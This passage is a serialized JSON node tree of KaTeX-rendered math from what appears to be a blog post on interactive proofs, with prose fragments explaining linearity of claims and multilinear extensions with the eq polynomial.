props":113275,"children":113277},{"className":113276,"style":112296},[682],[113278],{"type":23,"tag":504,"props":113279,"children":113280},{},[],{"type":23,"tag":504,"props":113282,"children":113284},{"className":113283,"style":1426},[537],[],{"type":23,"tag":504,"props":113286,"children":113288},{"className":113287},[1431],[113289],{"type":29,"value":6118},{"type":23,"tag":504,"props":113291,"children":113293},{"className":113292,"style":1426},[537],[],{"type":23,"tag":504,"props":113295,"children":113297},{"className":113296},[518],[113298,113302,113307,113312,113317,113321,113326],{"type":23,"tag":504,"props":113299,"children":113301},{"className":113300,"style":2160},[523],[],{"type":23,"tag":504,"props":113303,"children":113305},{"className":113304},[529],[113306],{"type":29,"value":5164},{"type":23,"tag":504,"props":113308,"children":113310},{"className":113309},[529,530],[113311],{"type":29,"value":68},{"type":23,"tag":504,"props":113313,"children":113315},{"className":113314},[930],[113316],{"type":29,"value":933},{"type":23,"tag":504,"props":113318,"children":113320},{"className":113319,"style":1426},[537],[],{"type":23,"tag":504,"props":113322,"children":113324},{"className":113323},[1431],[113325],{"type":29,"value":113088},{"type":23,"tag":504,"props":113327,"children":113329},{"className":113328,"style":1426},[537],[],{"type":23,"tag":504,"props":113331,"children":113333},{"className":113332},[518],[113334,113338,113395,113399,113404],{"type":23,"tag":504,"props":113335,"children":113337},{"className":113336,"style":111796},[523],[],{"type":23,"tag":504,"props":113339,"children":113341},{"className":113340},[529],[113342,113347],{"type":23,"tag":504,"props":113343,"children":113345},{"className":113344,"style":624},[529,530],[113346],{"type":29,"value":1477},{"type":23,"tag":504,"props":113348,"children":113350},{"className":113349},[666],[113351],{"type":23,"tag":504,"props":113352,"children":113354},{"className":113353},[671,672],[113355,113384],{"type":23,"tag":504,"props":113356,"children":113358},{"className":113357},[677],[113359,113379],{"type":23,"tag":504,"props":113360,"children":113362},{"className":113361,"style":1180},[682],[113363],{"type":23,"tag":504,"props":113364,"children":113365},{"style":111825},[113366,113370],{"type":23,"tag":504,"props":113367,"children":113369},{"className":113368,"style":693},[692],[],{"type":23,"tag":504,"props":113371,"children":113373},{"className":113372},[698,699,700,701],[113374],{"type":23,"tag":504,"props":113375,"children":113377},{"className":113376},[529,530,701],[113378],{"type":29,"value":578},{"type":23,"tag":504,"props":113380,"children":113382},{"className":113381},[712],[113383],{"type":29,"value":715},{"type":23,"tag":504,"props":113385,"children":113387},{"className":113386},[677],[113388],{"type":23,"tag":504,"props":113389,"children":113391},{"className":113390,"style":723},[682],[113392],{"type":23,"tag":504,"props":113393,"children":113394},{},[],{"type":23,"tag":504,"props":113396,"children":113398},{"className":113397,"style":538},[537],[],{"type":23,"tag":504,"props":113400,"children":113402},{"className":113401},[543],[113403],{"type":29,"value":546},{"type":23,"tag":504,"props":113405,"children":113407},{"className":113406,"style":538},[537],[],{"type":23,"tag":504,"props":113409,"children":113411},{"className":113410},[518],[113412,113416,113421,113426,113431,113435,113440],{"type":23,"tag":504,"props":113413,"children":113415},{"className":113414,"style":2160},[523],[],{"type":23,"tag":504,"props":113417,"children":113419},{"className":113418},[529,530],[113420],{"type":29,"value":68},{"type":23,"tag":504,"props":113422,"children":113424},{"className":113423},[600],[113425],{"type":29,"value":603},{"type":23,"tag":504,"props":113427,"children":113429},{"className":113428},[529],[113430],{"type":29,"value":826},{"type":23,"tag":504,"props":113432,"children":113434},{"className":113433,"style":1426},[537],[],{"type":23,"tag":504,"props":113436,"children":113438},{"className":113437},[1431],[113439],{"type":29,"value":6118},{"type":23,"tag":504,"props":113441,"children":113443},{"className":113442,"style":1426},[537],[],{"type":23,"tag":504,"props":113445,"children":113447},{"className":113446},[518],[113448,113452,113457,113514,113519,113523,113528],{"type":23,"tag":504,"props":113449,"children":113451},{"className":113450,"style":2160},[523],[],{"type":23,"tag":504,"props":113453,"children":113455},{"className":113454},[529],[113456],{"type":29,"value":5164},{"type":23,"tag":504,"props":113458,"children":113460},{"className":113459},[529],[113461,113466],{"type":23,"tag":504,"props":113462,"children":113464},{"className":113463,"style":624},[529,530],[113465],{"type":29,"value":1477},{"type":23,"tag":504,"props":113467,"children":113469},{"className":113468},[666],[113470],{"type":23,"tag":504,"props":113471,"children":113473},{"className":113472},[671,672],[113474,113503],{"type":23,"tag":504,"props":113475,"children":113477},{"className":113476},[677],[113478,113498],{"type":23,"tag":504,"props":113479,"children":113481},{"className":113480,"style":1180},[682],[113482],{"type":23,"tag":504,"props":113483,"children":113484},{"style":111825},[113485,113489],{"type":23,"tag":504,"props":113486,"children":113488},{"className":113487,"style":693},[692],[],{"type":23,"tag":504,"props":113490,"children":113492},{"className":113491},[698,699,700,701],[113493],{"type":23,"tag":504,"props":113494,"children":113496},{"className":113495},[529,530,701],[113497],{"type":29,"value":578},{"type":23,"tag":504,"props":113499,"children":113501},{"className":113500},[712],[113502],{"type":29,"value":715},{"type":23,"tag":504,"props":113504,"children":113506},{"className":113505},[677],[113507],{"type":23,"tag":504,"props":113508,"children":113510},{"className":113509,"style":723},[682],[113511],{"type":23,"tag":504,"props":113512,"children":113513},{},[],{"type":23,"tag":504,"props":113515,"children":113517},{"className":113516},[930],[113518],{"type":29,"value":933},{"type":23,"tag":504,"props":113520,"children":113522},{"className":113521,"style":1426},[537],[],{"type":23,"tag":504,"props":113524,"children":113526},{"className":113525},[1431],[113527],{"type":29,"value":6422},{"type":23,"tag":504,"props":113529,"children":113531},{"className":113530,"style":1426},[537],[],{"type":23,"tag":504,"props":113533,"children":113535},{"className":113534},[518],[113536,113540,113611,113615,113620],{"type":23,"tag":504,"props":113537,"children":113539},{"className":113538,"style":112226},[523],[],{"type":23,"tag":504,"props":113541,"children":113543},{"className":113542},[529],[113544,113549],{"type":23,"tag":504,"props":113545,"children":113547},{"className":113546,"style":879},[529,530],[113548],{"type":29,"value":882},{"type":23,"tag":504,"props":113550,"children":113552},{"className":113551},[666],[113553],{"type":23,"tag":504,"props":113554,"children":113556},{"className":113555},[671,672],[113557,113600],{"type":23,"tag":504,"props":113558,"children":113560},{"className":113559},[677],[113561,113595],{"type":23,"tag":504,"props":113562,"children":113564},{"className":113563,"style":1180},[682],[113565],{"type":23,"tag":504,"props":113566,"children":113567},{"style":112255},[113568,113572],{"type":23,"tag":504,"props":113569,"children":113571},{"className":113570,"style":693},[692],[],{"type":23,"tag":504,"props":113573,"children":113575},{"className":113574},[698,699,700,701],[113576],{"type":23,"tag":504,"props":113577,"children":113579},{"className":113578},[529,701],[113580,113585,113590],{"type":23,"tag":504,"props":113581,"children":113583},{"className":113582},[529,530,701],[113584],{"type":29,"value":578},{"type":23,"tag":504,"props":113586,"children":113588},{"className":113587},[1431,701],[113589],{"type":29,"value":6118},{"type":23,"tag":504,"props":113591,"children":113593},{"className":113592},[529,701],[113594],{"type":29,"value":826},{"type":23,"tag":504,"props":113596,"children":113598},{"className":113597},[712],[113599],{"type":29,"value":715},{"type":23,"tag":504,"props":113601,"children":113603},{"className":113602},[677],[113604],{"type":23,"tag":504,"props":113605,"children":113607},{"className":113606,"style":112296},[682],[113608],{"type":23,"tag":504,"props":113609,"children":113610},{},[],{"type":23,"tag":504,"props":113612,"children":113614},{"className":113613,"style":1426},[537],[],{"type":23,"tag":504,"props":113616,"children":113618},{"className":113617},[1431],[113619],{"type":29,"value":113088},{"type":23,"tag":504,"props":113621,"children":113623},{"className":113622,"style":1426},[537],[],{"type":23,"tag":504,"props":113625,"children":113627},{"className":113626},[518],[113628,113632],{"type":23,"tag":504,"props":113629,"children":113631},{"className":113630,"style":111796},[523],[],{"type":23,"tag":504,"props":113633,"children":113635},{"className":113634},[529],[113636,113641],{"type":23,"tag":504,"props":113637,"children":113639},{"className":113638,"style":624},[529,530],[113640],{"type":29,"value":1477},{"type":23,"tag":504,"props":113642,"children":113644},{"className":113643},[666],[113645],{"type":23,"tag":504,"props":113646,"children":113648},{"className":113647},[671,672],[113649,113678],{"type":23,"tag":504,"props":113650,"children":113652},{"className":113651},[677],[113653,113673],{"type":23,"tag":504,"props":113654,"children":113656},{"className":113655,"style":1180},[682],[113657],{"type":23,"tag":504,"props":113658,"children":113659},{"style":111825},[113660,113664],{"type":23,"tag":504,"props":113661,"children":113663},{"className":113662,"style":693},[692],[],{"type":23,"tag":504,"props":113665,"children":113667},{"className":113666},[698,699,700,701],[113668],{"type":23,"tag":504,"props":113669,"children":113671},{"className":113670},[529,530,701],[113672],{"type":29,"value":578},{"type":23,"tag":504,"props":113674,"children":113676},{"className":113675},[712],[113677],{"type":29,"value":715},{"type":23,"tag":504,"props":113679,"children":113681},{"className":113680},[677],[113682],{"type":23,"tag":504,"props":113683,"children":113685},{"className":113684,"style":723},[682],[113686],{"type":23,"tag":504,"props":113687,"children":113688},{},[],{"type":23,"tag":32,"props":113690,"children":113691},{},[113692,113693,113789,113791,113816,113818,113843],{"type":29,"value":48198},{"type":23,"tag":38,"props":113694,"children":113695},{},[113696,113698],{"type":29,"value":113697},"linear in ",{"type":23,"tag":154,"props":113699,"children":113701},{"className":113700},[500,501],[113702],{"type":23,"tag":504,"props":113703,"children":113705},{"className":113704},[507],[113706],{"type":23,"tag":504,"props":113707,"children":113709},{"className":113708,"ariaHidden":513},[512],[113710],{"type":23,"tag":504,"props":113711,"children":113713},{"className":113712},[518],[113714,113718],{"type":23,"tag":504,"props":113715,"children":113717},{"className":113716,"style":112226},[523],[],{"type":23,"tag":504,"props":113719,"children":113721},{"className":113720},[529],[113722,113727],{"type":23,"tag":504,"props":113723,"children":113725},{"className":113724,"style":879},[529,530],[113726],{"type":29,"value":882},{"type":23,"tag":504,"props":113728,"children":113730},{"className":113729},[666],[113731],{"type":23,"tag":504,"props":113732,"children":113734},{"className":113733},[671,672],[113735,113778],{"type":23,"tag":504,"props":113736,"children":113738},{"className":113737},[677],[113739,113773],{"type":23,"tag":504,"props":113740,"children":113742},{"className":113741,"style":1180},[682],[113743],{"type":23,"tag":504,"props":113744,"children":113745},{"style":112255},[113746,113750],{"type":23,"tag":504,"props":113747,"children":113749},{"className":113748,"style":693},[692],[],{"type":23,"tag":504,"props":113751,"children":113753},{"className":113752},[698,699,700,701],[113754],{"type":23,"tag":504,"props":113755,"children":113757},{"className":113756},[529,701],[113758,113763,113768],{"type":23,"tag":504,"props":113759,"children":113761},{"className":113760},[529,530,701],[113762],{"type":29,"value":578},{"type":23,"tag":504,"props":113764,"children":113766},{"className":113765},[1431,701],[113767],{"type":29,"value":6118},{"type":23,"tag":504,"props":113769,"children":113771},{"className":113770},[529,701],[113772],{"type":29,"value":826},{"type":23,"tag":504,"props":113774,"children":113776},{"className":113775},[712],[113777],{"type":29,"value":715},{"type":23,"tag":504,"props":113779,"children":113781},{"className":113780},[677],[113782],{"type":23,"tag":504,"props":113783,"children":113785},{"className":113784,"style":112296},[682],[113786],{"type":23,"tag":504,"props":113787,"children":113788},{},[],{"type":29,"value":113790},"! By induction, the final claim is linear in the original ",{"type":23,"tag":154,"props":113792,"children":113794},{"className":113793},[500,501],[113795],{"type":23,"tag":504,"props":113796,"children":113798},{"className":113797},[507],[113799],{"type":23,"tag":504,"props":113800,"children":113802},{"className":113801,"ariaHidden":513},[512],[113803],{"type":23,"tag":504,"props":113804,"children":113806},{"className":113805},[518],[113807,113811],{"type":23,"tag":504,"props":113808,"children":113810},{"className":113809,"style":23635},[523],[],{"type":23,"tag":504,"props":113812,"children":113814},{"className":113813,"style":879},[529,530],[113815],{"type":29,"value":882},{"type":29,"value":113817},". If ",{"type":23,"tag":154,"props":113819,"children":113821},{"className":113820},[500,501],[113822],{"type":23,"tag":504,"props":113823,"children":113825},{"className":113824},[507],[113826],{"type":23,"tag":504,"props":113827,"children":113829},{"className":113828,"ariaHidden":513},[512],[113830],{"type":23,"tag":504,"props":113831,"children":113833},{"className":113832},[518],[113834,113838],{"type":23,"tag":504,"props":113835,"children":113837},{"className":113836,"style":23635},[523],[],{"type":23,"tag":504,"props":113839,"children":113841},{"className":113840,"style":879},[529,530],[113842],{"type":29,"value":882},{"type":29,"value":113844}," isn't in the transcript, we can solve for it.",{"type":23,"tag":320,"props":113846,"children":113848},{"id":113847},"multilinear-extensions-mles",[113849],{"type":29,"value":113850},"Multilinear Extensions (MLEs)",{"type":23,"tag":32,"props":113852,"children":113853},{},[113854,113856,113941],{"type":29,"value":113855},"An MLE is just the polynomial view of a table over ",{"type":23,"tag":154,"props":113857,"children":113859},{"className":113858},[500,501],[113860],{"type":23,"tag":504,"props":113861,"children":113863},{"className":113862},[507],[113864],{"type":23,"tag":504,"props":113865,"children":113867},{"className":113866,"ariaHidden":513},[512],[113868],{"type":23,"tag":504,"props":113869,"children":113871},{"className":113870},[518],[113872,113876,113881,113886,113891,113895,113900],{"type":23,"tag":504,"props":113873,"children":113875},{"className":113874,"style":2160},[523],[],{"type":23,"tag":504,"props":113877,"children":113879},{"className":113878},[600],[113880],{"type":29,"value":78683},{"type":23,"tag":504,"props":113882,"children":113884},{"className":113883},[529],[113885],{"type":29,"value":708},{"type":23,"tag":504,"props":113887,"children":113889},{"className":113888},[2267],[113890],{"type":29,"value":2270},{"type":23,"tag":504,"props":113892,"children":113894},{"className":113893,"style":2274},[537],[],{"type":23,"tag":504,"props":113896,"children":113898},{"className":113897},[529],[113899],{"type":29,"value":826},{"type":23,"tag":504,"props":113901,"children":113903},{"className":113902},[930],[113904,113909],{"type":23,"tag":504,"props":113905,"children":113907},{"className":113906},[930],[113908],{"type":29,"value":36196},{"type":23,"tag":504,"props":113910,"children":113912},{"className":113911},[666],[113913],{"type":23,"tag":504,"props":113914,"children":113916},{"className":113915},[671],[113917],{"type":23,"tag":504,"props":113918,"children":113920},{"className":113919},[677],[113921],{"type":23,"tag":504,"props":113922,"children":113924},{"className":113923,"style":110543},[682],[113925],{"type":23,"tag":504,"props":113926,"children":113927},{"style":6099},[113928,113932],{"type":23,"tag":504,"props":113929,"children":113931},{"className":113930,"style":693},[692],[],{"type":23,"tag":504,"props":113933,"children":113935},{"className":113934},[698,699,700,701],[113936],{"type":23,"tag":504,"props":113937,"children":113939},{"className":113938},[529,530,701],[113940],{"type":29,"value":596},{"type":29,"value":113942},": it matches the table on Boolean points and extends it to field points.",{"type":23,"tag":32,"props":113944,"children":113945},{},[113946],{"type":29,"value":113947},"For this post, the only property you need is:",{"type":23,"tag":32,"props":113949,"children":113950},{},[113951],{"type":23,"tag":154,"props":113952,"children":113954},{"className":113953},[500,501],[113955],{"type":23,"tag":504,"props":113956,"children":113958},{"className":113957},[507],[113959],{"type":23,"tag":504,"props":113960,"children":113962},{"className":113961,"ariaHidden":513},[512],[113963,114125,114397],{"type":23,"tag":504,"props":113964,"children":113966},{"className":113965},[518],[113967,113972,114041,114046,114107,114112,114116,114121],{"type":23,"tag":504,"props":113968,"children":113971},{"className":113969,"style":113970},[523],"height:1.1813em;vertical-align:-0.25em;",[],{"type":23,"tag":504,"props":113973,"children":113976},{"className":113974},[529,113975],"accent",[113977],{"type":23,"tag":504,"props":113978,"children":113980},{"className":113979},[671,672],[113981,114029],{"type":23,"tag":504,"props":113982,"children":113984},{"className":113983},[677],[113985,114024],{"type":23,"tag":504,"props":113986,"children":113989},{"className":113987,"style":113988},[682],"height:0.9313em;",[113990,114004],{"type":23,"tag":504,"props":113991,"children":113993},{"style":113992},"top:-3em;",[113994,113999],{"type":23,"tag":504,"props":113995,"children":113998},{"className":113996,"style":113997},[692],"height:3em;",[],{"type":23,"tag":504,"props":114000,"children":114002},{"className":114001,"style":3022},[529,530],[114003],{"type":29,"value":3025},{"type":23,"tag":504,"props":114005,"children":114007},{"style":114006},"top:-3.6134em;",[114008,114012],{"type":23,"tag":504,"props":114009,"children":114011},{"className":114010,"style":113997},[692],[],{"type":23,"tag":504,"props":114013,"children":114017},{"className":114014,"style":114016},[114015],"accent-body","left:-0.0833em;",[114018],{"type":23,"tag":504,"props":114019,"children":114021},{"className":114020},[529],[114022],{"type":29,"value":114023},"~",{"type":23,"tag":504,"props":114025,"children":114027},{"className":114026},[712],[114028],{"type":29,"value":715},{"type":23,"tag":504,"props":114030,"children":114032},{"className":114031},[677],[114033],{"type":23,"tag":504,"props":114034,"children":114037},{"className":114035,"style":114036},[682],"height:0.1944em;",[114038],{"type":23,"tag":504,"props":114039,"children":114040},{},[],{"type":23,"tag":504,"props":114042,"children":114044},{"className":114043},[600],[114045],{"type":29,"value":603},{"type":23,"tag":504,"props":114047,"children":114049},{"className":114048},[529,113975],[114050],{"type":23,"tag":504,"props":114051,"children":114053},{"className":114052},[671],[114054],{"type":23,"tag":504,"props":114055,"children":114057},{"className":114056},[677],[114058],{"type":23,"tag":504,"props":114059,"children":114062},{"className":114060,"style":114061},[682],"height:0.714em;",[114063,114075],{"type":23,"tag":504,"props":114064,"children":114065},{"style":113992},[114066,114070],{"type":23,"tag":504,"props":114067,"children":114069},{"className":114068,"style":113997},[692],[],{"type":23,"tag":504,"props":114071,"children":114073},{"className":114072,"style":624},[529,530],[114074],{"type":29,"value":1477},{"type":23,"tag":504,"props":114076,"children":114077},{"style":113992},[114078,114082],{"type":23,"tag":504,"props":114079,"children":114081},{"className":114080,"style":113997},[692],[],{"type":23,"tag":504,"props":114083,"children":114086},{"className":114084,"style":114085},[114015],"left:-0.1799em;",[114087],{"type":23,"tag":504,"props":114088,"children":114092},{"className":114089,"style":114091},[114090],"overlay","height:0.714em;width:0.471em;",[114093],{"type":23,"tag":36329,"props":114094,"children":114101},{"xmlns":114095,"width":114096,"height":114097,"style":114098,"viewBox":114099,"preserveAspectRatio":114100},"http://www.w3.org/2000/svg","0.471em","0.714em","width:0.471em","0 0 471 714","xMinYMin",[114102],{"type":23,"tag":114103,"props":114104,"children":114106},"path",{"d":114105},"M377 20c0-5.333 1.833-10 5.5-14S391 0 397 0c4.667 0 8.667 1.667 12 5\n3.333 2.667 6.667 9 10 19 6.667 24.667 20.333 43.667 41 57 7.333 4.667 11\n10.667 11 18 0 6-1 10-3 12s-6.667 5-14 9c-28.667 14.667-53.667 35.667-75 63\n-1.333 1.333-3.167 3.5-5.5 6.5s-4 4.833-5 5.5c-1 .667-2.5 1.333-4.5 2s-4.333 1\n-7 1c-4.667 0-9.167-1.833-13.5-5.5S337 184 337 178c0-12.667 15.667-32.333 47-59\nH213l-171-1c-8.667-6-13-12.333-13-19 0-4.667 4.333-11.333 13-20h359\nc-16-25.333-24-45-24-59z",[],{"type":23,"tag":504,"props":114108,"children":114110},{"className":114109},[930],[114111],{"type":29,"value":933},{"type":23,"tag":504,"props":114113,"children":114115},{"className":114114,"style":538},[537],[],{"type":23,"tag":504,"props":114117,"children":114119},{"className":114118},[543],[114120],{"type":29,"value":546},{"type":23,"tag":504,"props":114122,"children":114124},{"className":114123,"style":538},[537],[],{"type":23,"tag":504,"props":114126,"children":114128},{"className":114127},[518],[114129,114134,114315,114319,114324,114329,114379,114384,114388,114393],{"type":23,"tag":504,"props":114130,"children":114133},{"className":114131,"style":114132},[523],"height:1.4918em;vertical-align:-0.5144em;",[],{"type":23,"tag":504,"props":114135,"children":114137},{"className":114136},[23673],[114138,114143],{"type":23,"tag":504,"props":114139,"children":114141},{"className":114140,"style":23680},[23673,23678,23679],[114142],{"type":29,"value":110621},{"type":23,"tag":504,"props":114144,"children":114146},{"className":114145},[666],[114147],{"type":23,"tag":504,"props":114148,"children":114150},{"className":114149},[671,672],[114151,114303],{"type":23,"tag":504,"props":114152,"children":114154},{"className":114153},[677],[114155,114298],{"type":23,"tag":504,"props":114156,"children":114159},{"className":114157,"style":114158},[682],"height:0.3448em;",[114160],{"type":23,"tag":504,"props":114161,"children":114163},{"style":114162},"top:-2.3606em;margin-left:0em;margin-right:0.05em;",[114164,114168],{"type":23,"tag":504,"props":114165,"children":114167},{"className":114166,"style":693},[692],[],{"type":23,"tag":504,"props":114169,"children":114171},{"className":114170},[698,699,700,701],[114172],{"type":23,"tag":504,"props":114173,"children":114175},{"className":114174},[529,701],[114176,114230,114235,114240,114245,114250,114255],{"type":23,"tag":504,"props":114177,"children":114179},{"className":114178},[529,113975,701],[114180],{"type":23,"tag":504,"props":114181,"children":114183},{"className":114182},[671],[114184],{"type":23,"tag":504,"props":114185,"children":114187},{"className":114186},[677],[114188],{"type":23,"tag":504,"props":114189,"children":114192},{"className":114190,"style":114191},[682],"height:0.9774em;",[114193,114207],{"type":23,"tag":504,"props":114194,"children":114196},{"style":114195},"top:-2.714em;",[114197,114202],{"type":23,"tag":504,"props":114198,"children":114201},{"className":114199,"style":114200},[692],"height:2.714em;",[],{"type":23,"tag":504,"props":114203,"children":114205},{"className":114204},[529,530,701],[114206],{"type":29,"value":3003},{"type":23,"tag":504,"props":114208,"children":114210},{"style":114209},"top:-2.9774em;",[114211,114215],{"type":23,"tag":504,"props":114212,"children":114214},{"className":114213,"style":114200},[692],[],{"type":23,"tag":504,"props":114216,"children":114219},{"className":114217,"style":114218},[114015],"left:-0.2355em;",[114220],{"type":23,"tag":504,"props":114221,"children":114223},{"className":114222,"style":114091},[114090,701],[114224],{"type":23,"tag":36329,"props":114225,"children":114226},{"xmlns":114095,"width":114096,"height":114097,"style":114098,"viewBox":114099,"preserveAspectRatio":114100},[114227],{"type":23,"tag":114103,"props":114228,"children":114229},{"d":114105},[],{"type":23,"tag":504,"props":114231,"children":114233},{"className":114232},[543,701],[114234],{"type":29,"value":23742},{"type":23,"tag":504,"props":114236,"children":114238},{"className":114237},[600,701],[114239],{"type":29,"value":78683},{"type":23,"tag":504,"props":114241,"children":114243},{"className":114242},[529,701],[114244],{"type":29,"value":708},{"type":23,"tag":504,"props":114246,"children":114248},{"className":114247},[2267,701],[114249],{"type":29,"value":2270},{"type":23,"tag":504,"props":114251,"children":114253},{"className":114252},[529,701],[114254],{"type":29,"value":826},{"type":23,"tag":504,"props":114256,"children":114258},{"className":114257},[930,701],[114259,114264],{"type":23,"tag":504,"props":114260,"children":114262},{"className":114261},[930,701],[114263],{"type":29,"value":36196},{"type":23,"tag":504,"props":114265,"children":114267},{"className":114266},[666],[114268],{"type":23,"tag":504,"props":114269,"children":114271},{"className":114270},[671],[114272],{"type":23,"tag":504,"props":114273,"children":114275},{"className":114274},[677],[114276],{"type":23,"tag":504,"props":114277,"children":114280},{"className":114278,"style":114279},[682],"height:0.5935em;",[114281],{"type":23,"tag":504,"props":114282,"children":114284},{"style":114283},"top:-2.786em;margin-right:0.0714em;",[114285,114289],{"type":23,"tag":504,"props":114286,"children":114288},{"className":114287,"style":110686},[692],[],{"type":23,"tag":504,"props":114290,"children":114292},{"className":114291},[698,110691,110692,701],[114293],{"type":23,"tag":504,"props":114294,"children":114296},{"className":114295},[529,530,701],[114297],{"type":29,"value":596},{"type":23,"tag":504,"props":114299,"children":114301},{"className":114300},[712],[114302],{"type":29,"value":715},{"type":23,"tag":504,"props":114304,"children":114306},{"className":114305},[677],[114307],{"type":23,"tag":504,"props":114308,"children":114311},{"className":114309,"style":114310},[682],"height:0.5144em;",[114312],{"type":23,"tag":504,"props":114313,"children":114314},{},[],{"type":23,"tag":504,"props":114316,"children":114318},{"className":114317,"style":2274},[537],[],{"type":23,"tag":504,"props":114320,"children":114322},{"className":114321,"style":3022},[529,530],[114323],{"type":29,"value":3025},{"type":23,"tag":504,"props":114325,"children":114327},{"className":114326},[600],[114328],{"type":29,"value":603},{"type":23,"tag":504,"props":114330,"children":114332},{"className":114331},[529,113975],[114333],{"type":23,"tag":504,"props":114334,"children":114336},{"className":114335},[671],[114337],{"type":23,"tag":504,"props":114338,"children":114340},{"className":114339},[677],[114341],{"type":23,"tag":504,"props":114342,"children":114344},{"className":114343,"style":114191},[682],[114345,114357],{"type":23,"tag":504,"props":114346,"children":114347},{"style":113992},[114348,114352],{"type":23,"tag":504,"props":114349,"children":114351},{"className":114350,"style":113997},[692],[],{"type":23,"tag":504,"props":114353,"children":114355},{"className":114354},[529,530],[114356],{"type":29,"value":3003},{"type":23,"tag":504,"props":114358,"children":114360},{"style":114359},"top:-3.2634em;",[114361,114365],{"type":23,"tag":504,"props":114362,"children":114364},{"className":114363,"style":113997},[692],[],{"type":23,"tag":504,"props":114366,"children":114368},{"className":114367,"style":114218},[114015],[114369],{"type":23,"tag":504,"props":114370,"children":114372},{"className":114371,"style":114091},[114090],[114373],{"type":23,"tag":36329,"props":114374,"children":114375},{"xmlns":114095,"width":114096,"height":114097,"style":114098,"viewBox":114099,"preserveAspectRatio":114100},[114376],{"type":23,"tag":114103,"props":114377,"children":114378},{"d":114105},[],{"type":23,"tag":504,"props":114380,"children":114382},{"className":114381},[930],[114383],{"type":29,"value":933},{"type":23,"tag":504,"props":114385,"children":114387},{"className":114386,"style":1426},[537],[],{"type":23,"tag":504,"props":114389,"children":114391},{"className":114390},[1431],[114392],{"type":29,"value":113088},{"type":23,"tag":504,"props":114394,"children":114396},{"className":114395,"style":1426},[537],[],{"type":23,"tag":504,"props":114398,"children":114400},{"className":114399},[518],[114401,114406,114416,114421,114470,114475,114479,114528],{"type":23,"tag":504,"props":114402,"children":114405},{"className":114403,"style":114404},[523],"height:1.2274em;vertical-align:-0.25em;",[],{"type":23,"tag":504,"props":114407,"children":114409},{"className":114408},[529,29],[114410],{"type":23,"tag":504,"props":114411,"children":114413},{"className":114412},[529],[114414],{"type":29,"value":114415},"eq",{"type":23,"tag":504,"props":114417,"children":114419},{"className":114418},[600],[114420],{"type":29,"value":603},{"type":23,"tag":504,"props":114422,"children":114424},{"className":114423},[529,113975],[114425],{"type":23,"tag":504,"props":114426,"children":114428},{"className":114427},[671],[114429],{"type":23,"tag":504,"props":114430,"children":114432},{"className":114431},[677],[114433],{"type":23,"tag":504,"props":114434,"children":114436},{"className":114435,"style":114191},[682],[114437,114449],{"type":23,"tag":504,"props":114438,"children":114439},{"style":113992},[114440,114444],{"type":23,"tag":504,"props":114441,"children":114443},{"className":114442,"style":113997},[692],[],{"type":23,"tag":504,"props":114445,"children":114447},{"className":114446},[529,530],[114448],{"type":29,"value":3003},{"type":23,"tag":504,"props":114450,"children":114451},{"style":114359},[114452,114456],{"type":23,"tag":504,"props":114453,"children":114455},{"className":114454,"style":113997},[692],[],{"type":23,"tag":504,"props":114457,"children":114459},{"className":114458,"style":114218},[114015],[114460],{"type":23,"tag":504,"props":114461,"children":114463},{"className":114462,"style":114091},[114090],[114464],{"type":23,"tag":36329,"props":114465,"children":114466},{"xmlns":114095,"width":114096,"height":114097,"style":114098,"viewBox":114099,"preserveAspectRatio":114100},[114467],{"type":23,"tag":114103,"props":114468,"children":114469},{"d":114105},[],{"type":23,"tag":504,"props":114471,"children":114473},{"className":114472},[2267],[114474],{"type":29,"value":2270},{"type":23,"tag":504,"props":114476,"children":114478},{"className":114477,"style":2274},[537],[],{"type":23,"tag":504,"props":114480,"children":114482},{"className":114481},[529,113975],[114483],{"type":23,"tag":504,"props":114484,"children":114486},{"className":114485},[671],[114487],{"type":23,"tag":504,"props":114488,"children":114490},{"className":114489},[677],[114491],{"type":23,"tag":504,"props":114492,"children":114494},{"className":114493,"style":114061},[682],[114495,114507],{"type":23,"tag":504,"props":114496,"children":114497},{"style":113992},[114498,114502],{"type":23,"tag":504,"props":114499,"children":114501},{"className":114500,"style":113997},[692],[],{"type":23,"tag":504,"props":114503,"children":114505},{"className":114504,"style":624},[529,530],[114506],{"type":29,"value":1477},{"type":23,"tag":504,"props":114508,"children":114509},{"style":113992},[114510,114514],{"type":23,"tag":504,"props":114511,"children":114513},{"className":114512,"style":113997},[692],[],{"type":23,"tag":504,"props":114515,"children":114517},{"className":114516,"style":114085},[114015],[114518],{"type":23,"tag":504,"props":114519,"children":114521},{"className":114520,"style":114091},[114090],[114522],{"type":23,"tag":36329,"props":114523,"children":114524},{"xmlns":114095,"width":114096,"height":114097,"style":114098,"viewBox":114099,"preserveAspectRatio":114100},[114525],{"type":23,"tag":114103,"props":114526,"children":114527},{"d":114105},[],{"type":23,"tag":504,"props":114529,"children":114531},{"className":114530},[930],[114532],{"type":29,"value":933},{"type":23,"tag":32,"props":114534,"children":114535},{},[114536,114538,114607,114609,114755,114757,114896,114898,114982],{"type":29,"value":114537},"At a fixed challenge point ",{"type":23,"tag":154,"props":114539,"children":114541},{"className":114540},[500,501],[114542],{"type":23,"tag":504,"props":114543,"children":114545},{"className":114544},[507],[114546],{"type":23,"tag":504,"props":114547,"children":114549},{"className":114548,"ariaHidden":513},[512],[114550],{"type":23,"tag":504,"props":114551,"children":114553},{"className":114552},[518],[114554,114558],{"type":23,"tag":504,"props":114555,"children":114557},{"className":114556,"style":114061},[523],[],{"type":23,"tag":504,"props":114559,"children":114561},{"className":114560},[529,113975],[114562],{"type":23,"tag":504,"props":114563,"children":114565},{"className":114564},[671],[114566],{"type":23,"tag":504,"props":114567,"children":114569},{"className":114568},[677],[114570],{"type":23,"tag":504,"props":114571,"children":114573},{"className":114572,"style":114061},[682],[114574,114586],{"type":23,"tag":504,"props":114575,"children":114576},{"style":113992},[114577,114581],{"type":23,"tag":504,"props":114578,"children":114580},{"className":114579,"style":113997},[692],[],{"type":23,"tag":504,"props":114582,"children":114584},{"className":114583,"style":624},[529,530],[114585],{"type":29,"value":1477},{"type":23,"tag":504,"props":114587,"children":114588},{"style":113992},[114589,114593],{"type":23,"tag":504,"props":114590,"children":114592},{"className":114591,"style":113997},[692],[],{"type":23,"tag":504,"props":114594,"children":114596},{"className":114595,"style":114085},[114015],[114597],{"type":23,"tag":504,"props":114598,"children":114600},{"className":114599,"style":114091},[114090],[114601],{"type":23,"tag":36329,"props":114602,"children":114603},{"xmlns":114095,"width":114096,"height":114097,"style":114098,"viewBox":114099,"preserveAspectRatio":114100},[114604],{"type":23,"tag":114103,"props":114605,"children":114606},{"d":114105},[],{"type":29,"value":114608},", the coefficients 